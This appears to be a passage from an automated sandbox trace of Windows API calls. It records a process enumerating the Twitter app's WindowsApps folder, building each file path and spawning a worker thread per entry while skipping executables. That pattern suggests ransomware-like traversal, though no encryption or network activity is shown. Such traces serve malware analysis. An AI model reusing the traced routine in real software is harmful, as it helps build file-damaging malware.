	[0076.764] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x96) returned 0x2e2aa38
	[0076.764] wcscpy (in: _Dest=0x2e2aa38, _Source="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm" | out: _Dest="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm") returned="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm"
	[0076.765] wcscat (in: _Dest=0x2e2aa38, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\") returned="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\"
	[0076.765] wcscat (in: _Dest=0x2e2aa38, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\*") returned="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\*"
	[0076.765] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2db85c8
	[0076.765] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\*", lpFindFileData=0x2db85c8 | out: lpFindFileData=0x2db85c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x223c89ad, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xa93a9ec0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3002ee68, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70c40
	[0076.766] wcscmp (_String1=".", _String2=".") returned 0
	[0076.766] FindNextFileW (in: hFindFile=0x2d70c40, lpFindFileData=0x2db85c8 | out: lpFindFileData=0x2db85c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x223c89ad, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xa93a9ec0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3002ee68, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.766] wcscmp (_String1="..", _String2=".") returned 1
	[0076.766] wcscmp (_String1="..", _String2="..") returned 0
	[0076.766] FindNextFileW (in: hFindFile=0x2d70c40, lpFindFileData=0x2db85c8 | out: lpFindFileData=0x2db85c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x229e4b3b, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0x229e4b3b, ftLastAccessTime.dwHighDateTime=0x1d32718, ftLastWriteTime.dwLowDateTime=0x229e4b3b, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="05DBE9EA-EF75-43DB-8A03-27898B59D1E9", cAlternateFileName="05DBE9~1")) returned 1
	[0076.766] wcscmp (_String1="05DBE9EA-EF75-43DB-8A03-27898B59D1E9", _String2=".") returned 1
	[0076.766] wcscmp (_String1="05DBE9EA-EF75-43DB-8A03-27898B59D1E9", _String2="..") returned 1
	[0076.766] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x2d5af20
	[0076.766] wcscpy (in: _Dest=0x2d5af20, _Source="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm" | out: _Dest="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm") returned="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm"
	[0076.766] wcscat (in: _Dest=0x2d5af20, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\") returned="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\"
	[0076.766] wcscat (in: _Dest=0x2d5af20, _Source="05DBE9EA-EF75-43DB-8A03-27898B59D1E9" | out: _Dest="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\05DBE9EA-EF75-43DB-8A03-27898B59D1E9") returned="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\05DBE9EA-EF75-43DB-8A03-27898B59D1E9"
	[0077.222] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d5af20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c4
	[0077.223] FindNextFileW (in: hFindFile=0x2d70c40, lpFindFileData=0x2db85c8 | out: lpFindFileData=0x2db85c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x227f4c7c, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0x227f4c7c, ftLastAccessTime.dwHighDateTime=0x1d32718, ftLastWriteTime.dwLowDateTime=0x2fd0dc5a, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0xce12, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="APPXBL~1.XML")) returned 1
	[0077.223] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0077.223] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0077.223] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb4) returned 0x47c8c20
	[0077.223] wcscpy (in: _Dest=0x47c8c20, _Source="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm" | out: _Dest="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm") returned="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm"
	[0077.223] wcscat (in: _Dest=0x47c8c20, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\") returned="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\"
	[0077.223] wcscat (in: _Dest=0x47c8c20, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\AppxBlockMap.xml"
	[0077.223] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47c8c20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc78
	[0077.223] FindNextFileW (in: hFindFile=0x2d70c40, lpFindFileData=0x2db85c8 | out: lpFindFileData=0x2db85c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2275c34d, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0x2275c34d, ftLastAccessTime.dwHighDateTime=0x1d32718, ftLastWriteTime.dwLowDateTime=0x2fd0dc5a, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x1f13, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxManifest.xml", cAlternateFileName="APPXMA~1.XML")) returned 1
	[0077.224] wcscmp (_String1="AppxManifest.xml", _String2=".") returned 1
	[0077.224] wcscmp (_String1="AppxManifest.xml", _String2="..") returned 1
	[0077.224] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb4) returned 0x47c80e0
	[0077.224] wcscpy (in: _Dest=0x47c80e0, _Source="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm" | out: _Dest="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm") returned="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm"
	[0077.224] wcscat (in: _Dest=0x47c80e0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\") returned="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\"
	[0077.224] wcscat (in: _Dest=0x47c80e0, _Source="AppxManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\AppxManifest.xml") returned="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\AppxManifest.xml"
	[0077.224] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47c80e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc7c
	[0077.224] FindNextFileW (in: hFindFile=0x2d70c40, lpFindFileData=0x2db85c8 | out: lpFindFileData=0x2db85c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x228b384c, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xa93abe68, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x228b384c, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0077.224] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0077.224] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0077.224] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xac) returned 0x2ddab28
	[0077.224] wcscpy (in: _Dest=0x2ddab28, _Source="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm" | out: _Dest="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm") returned="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm"
	[0077.225] wcscat (in: _Dest=0x2ddab28, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\") returned="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\"
	[0077.225] wcscat (in: _Dest=0x2ddab28, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\AppxMetadata"
	[0077.225] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2ddab28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc80
	[0077.225] FindNextFileW (in: hFindFile=0x2d70c40, lpFindFileData=0x2db85c8 | out: lpFindFileData=0x2db85c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2294c1cd, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0x2294c1cd, ftLastAccessTime.dwHighDateTime=0x1d32718, ftLastWriteTime.dwLowDateTime=0x2fd0dc5a, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x293a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="APPXSI~1.P7X")) returned 1
	[0077.225] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0077.225] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0077.225] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb6) returned 0x47c83e0
	[0077.225] wcscpy (in: _Dest=0x47c83e0, _Source="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm" | out: _Dest="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm") returned="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm"
	[0077.225] wcscat (in: _Dest=0x47c83e0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\") returned="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\"
	[0077.225] wcscat (in: _Dest=0x47c83e0, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\AppxSignature.p7x"
	[0077.226] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47c83e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc84
	[0077.226] FindNextFileW (in: hFindFile=0x2d70c40, lpFindFileData=0x2db85c8 | out: lpFindFileData=0x2db85c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x229e4b3b, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xa94b581e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2310be20, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets", cAlternateFileName="")) returned 1
	[0077.226] wcscmp (_String1="Assets", _String2=".") returned 1
	[0077.226] wcscmp (_String1="Assets", _String2="..") returned 1
	[0077.226] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa0) returned 0x2d7f268
	[0077.226] wcscpy (in: _Dest=0x2d7f268, _Source="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm" | out: _Dest="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm") returned="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm"
	[0077.226] wcscat (in: _Dest=0x2d7f268, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\") returned="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\"
	[0077.226] wcscat (in: _Dest=0x2d7f268, _Source="Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets") returned="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets"
	[0077.227] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d7f268, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc88
	[0077.227] FindNextFileW (in: hFindFile=0x2d70c40, lpFindFileData=0x2db85c8 | out: lpFindFileData=0x2db85c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2310be20, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0x2310be20, ftLastAccessTime.dwHighDateTime=0x1d32718, ftLastWriteTime.dwLowDateTime=0x2fd0dc5a, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0xeb58, dwReserved0=0x0, dwReserved1=0x0, cFileName="clrcompression.dll", cAlternateFileName="CLRCOM~1.DLL")) returned 1
	[0077.227] wcscmp (_String1="clrcompression.dll", _String2=".") returned 1
	[0077.227] wcscmp (_String1="clrcompression.dll", _String2="..") returned 1
	[0077.227] FindNextFileW (in: hFindFile=0x2d70c40, lpFindFileData=0x2db85c8 | out: lpFindFileData=0x2db85c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2310be20, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xa967b88f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2313207f, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0077.228] wcscmp (_String1="js", _String2=".") returned 1
	[0077.228] wcscmp (_String1="js", _String2="..") returned 1
	[0077.228] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x98) returned 0x2e2a8f8
	[0077.228] wcscpy (in: _Dest=0x2e2a8f8, _Source="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm" | out: _Dest="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm") returned="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm"
	[0077.228] wcscat (in: _Dest=0x2e2a8f8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\") returned="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\"
	[0077.228] wcscat (in: _Dest=0x2e2a8f8, _Source="js" | out: _Dest="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\js") returned="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\js"
	[0077.228] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2e2a8f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc8c
	[0077.238] FindNextFileW (in: hFindFile=0x2d70c40, lpFindFileData=0x2db85c8 | out: lpFindFileData=0x2db85c8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x3002ee68, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xa967c915, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3002ee68, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0077.238] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0077.238] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0077.238] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd6) returned 0x2e02868
	[0077.238] wcscpy (in: _Dest=0x2e02868, _Source="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm" | out: _Dest="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm") returned="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm"
	[0077.238] wcscat (in: _Dest=0x2e02868, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\") returned="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\"
	[0077.238] wcscat (in: _Dest=0x2e02868, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\microsoft.system.package.metadata"
	[0077.238] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2e02868, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc90
	[0077.239] FindNextFileW (in: hFindFile=0x2d70c40, lpFindFileData=0x2db85c8 | out: lpFindFileData=0x2db85c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2313207f, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0x2313207f, ftLastAccessTime.dwHighDateTime=0x1d32718, ftLastWriteTime.dwLowDateTime=0x2fd0dc5a, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x136470, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="RESOUR~1.PRI")) returned 1
	[0077.239] wcscmp (_String1="resources.pri", _String2=".") returned 1
	[0077.239] wcscmp (_String1="resources.pri", _String2="..") returned 1
	[0077.239] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xae) returned 0x2ddabe0
	[0077.239] wcscpy (in: _Dest=0x2ddabe0, _Source="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm" | out: _Dest="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm") returned="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm"
	[0077.239] wcscat (in: _Dest=0x2ddabe0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\") returned="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\"
	[0077.239] wcscat (in: _Dest=0x2ddabe0, _Source="resources.pri" | out: _Dest="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\resources.pri") returned="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\resources.pri"
	[0077.239] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2ddabe0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc94
	[0077.240] FindNextFileW (in: hFindFile=0x2d70c40, lpFindFileData=0x2db85c8 | out: lpFindFileData=0x2db85c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2313207f, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0x2313207f, ftLastAccessTime.dwHighDateTime=0x1d32718, ftLastWriteTime.dwLowDateTime=0x2fd0dc5a, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Twitter.Background.winmd", cAlternateFileName="TWITTE~1.WIN")) returned 1
	[0077.240] wcscmp (_String1="Twitter.Background.winmd", _String2=".") returned 1
	[0077.240] wcscmp (_String1="Twitter.Background.winmd", _String2="..") returned 1
	[0077.240] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc4) returned 0x47c9510
	[0077.240] wcscpy (in: _Dest=0x47c9510, _Source="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm" | out: _Dest="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm") returned="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm"
	[0077.240] wcscat (in: _Dest=0x47c9510, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\") returned="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\"
	[0077.240] wcscat (in: _Dest=0x47c9510, _Source="Twitter.Background.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Twitter.Background.winmd") returned="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Twitter.Background.winmd"
	[0077.240] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47c9510, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc98
	[0077.241] FindNextFileW (in: hFindFile=0x2d70c40, lpFindFileData=0x2db85c8 | out: lpFindFileData=0x2db85c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2313207f, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0x2313207f, ftLastAccessTime.dwHighDateTime=0x1d32718, ftLastWriteTime.dwLowDateTime=0x2fd0dc5a, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x1030c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Twitter.Windows.dll", cAlternateFileName="TWITTE~1.DLL")) returned 1
	[0077.241] wcscmp (_String1="Twitter.Windows.dll", _String2=".") returned 1
	[0077.241] wcscmp (_String1="Twitter.Windows.dll", _String2="..") returned 1
	[0077.241] FindNextFileW (in: hFindFile=0x2d70c40, lpFindFileData=0x2db85c8 | out: lpFindFileData=0x2db85c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2313207f, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0x2313207f, ftLastAccessTime.dwHighDateTime=0x1d32718, ftLastWriteTime.dwLowDateTime=0x2fd0dc5a, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Twitter.Windows.exe", cAlternateFileName="TWITTE~1.EXE")) returned 1
	[0077.241] wcscmp (_String1="Twitter.Windows.exe", _String2=".") returned 1
	[0077.241] wcscmp (_String1="Twitter.Windows.exe", _String2="..") returned 1
	[0077.241] FindNextFileW (in: hFindFile=0x2d70c40, lpFindFileData=0x2db85c8 | out: lpFindFileData=0x2db85c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2313207f, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0x2313207f, ftLastAccessTime.dwHighDateTime=0x1d32718, ftLastWriteTime.dwLowDateTime=0x2fd0dc5a, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0xf81e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Twitter.Windows.xr.xml", cAlternateFileName="TWITTE~1.XML")) returned 1
	[0077.241] wcscmp (_String1="Twitter.Windows.xr.xml", _String2=".") returned 1
	[0077.241] wcscmp (_String1="Twitter.Windows.xr.xml", _String2="..") returned 1
	[0077.241] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc0) returned 0x47cbd78
	[0077.241] wcscpy (in: _Dest=0x47cbd78, _Source="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm" | out: _Dest="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm") returned="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm"
	[0077.241] wcscat (in: _Dest=0x47cbd78, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\") returned="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\"
	[0077.241] wcscat (in: _Dest=0x47cbd78, _Source="Twitter.Windows.xr.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Twitter.Windows.xr.xml") returned="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Twitter.Windows.xr.xml"
